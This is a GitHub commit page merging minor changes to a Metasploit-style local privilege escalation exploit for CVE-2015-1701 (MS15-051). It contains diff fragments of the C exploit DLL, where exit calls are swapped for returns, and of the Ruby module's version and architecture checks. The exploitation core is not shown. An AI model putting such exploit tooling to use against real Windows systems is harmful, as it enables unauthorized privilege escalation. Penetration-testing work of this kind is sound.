Skip to content

Commit b78ba55

Browse files
committed
Merge minor CVE-2015-1701 from zeroSteiner
2 parents b291d41 + d73a3a4 commit b78ba55

File tree

2 files changed

+10
-15
lines changed

2 files changed

+10
-15
lines changed

external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -468,20 +468,17 @@ void win32k_client_copy_image(LPVOID lpPayload)
468468
RtlGetVersion(&osver);
469469

470470
if (osver.dwBuildNumber > 7601) {
471-
ExitProcess((UINT)-1);
472471
return;
473472
}
474473

475474
if (supIsProcess32bit(GetCurrentProcess())) {
476-
ExitProcess((UINT)-2);
477475
return;
478476
}
479477

480478
g_OurPID = GetCurrentProcessId();
481479
g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId();
482480

483481
if (g_PsLookupProcessByProcessIdPtr == NULL) {
484-
ExitProcess((UINT)-3);
485482
return;
486483
}
487484

@@ -533,7 +530,7 @@ void win32k_client_copy_image(LPVOID lpPayload)
533530
if (class_atom)
534531
UnregisterClass(MAKEINTATOM(class_atom), hinst);
535532

536-
ExitProcess(0);
533+
return;
537534
}
538535

539536
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)

modules/exploits/windows/local/ms15_051_client_copy_image.rb

Lines changed: 9 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -57,19 +57,17 @@ def initialize(info={})
5757
end
5858

5959
def check
60-
os = sysinfo["OS"]
61-
62-
if os !~ /windows/i
60+
if sysinfo['OS'] !~ /windows/i
6361
return Exploit::CheckCode::Unknown
6462
end
6563

66-
if sysinfo["Architecture"] =~ /(wow|x)64/i
64+
if sysinfo['Architecture'] =~ /(wow|x)64/i
6765
arch = ARCH_X86_64
68-
elsif sysinfo["Architecture"] =~ /x86/i
66+
elsif sysinfo['Architecture'] =~ /x86/i
6967
arch = ARCH_X86
7068
end
7169

72-
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
70+
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
7371
major, minor, build, revision, branch = file_version(file_path)
7472
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
7573

@@ -83,15 +81,15 @@ def exploit
8381
fail_with(Failure::None, 'Session is already elevated')
8482
end
8583

86-
if check == Exploit::CheckCode::Safe
87-
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
84+
if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown
85+
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
8886
end
8987

90-
if sysinfo["Architecture"] =~ /wow64/i
88+
if sysinfo['Architecture'] =~ /wow64/i
9189
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
92-
elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86
90+
elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86
9391
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
94-
elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64
92+
elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64
9593
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
9694
end
9795

0 commit comments

Comments
 (0)